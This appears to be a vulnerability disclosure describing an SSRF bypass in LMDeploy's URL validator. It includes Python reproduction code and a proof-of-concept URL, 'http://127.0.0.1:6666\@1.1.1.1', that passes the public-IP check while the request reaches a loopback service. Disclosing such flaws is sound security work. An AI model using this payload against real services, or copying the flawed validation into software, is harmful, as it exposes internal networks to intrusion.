LMDeploy has an SSRF bypass

Below is a test code I wrote following the code.

from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)

When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it. <img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" /> However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.

PoC

http://127.0.0.1:6666\@1.1.1.1

Impact

SSRF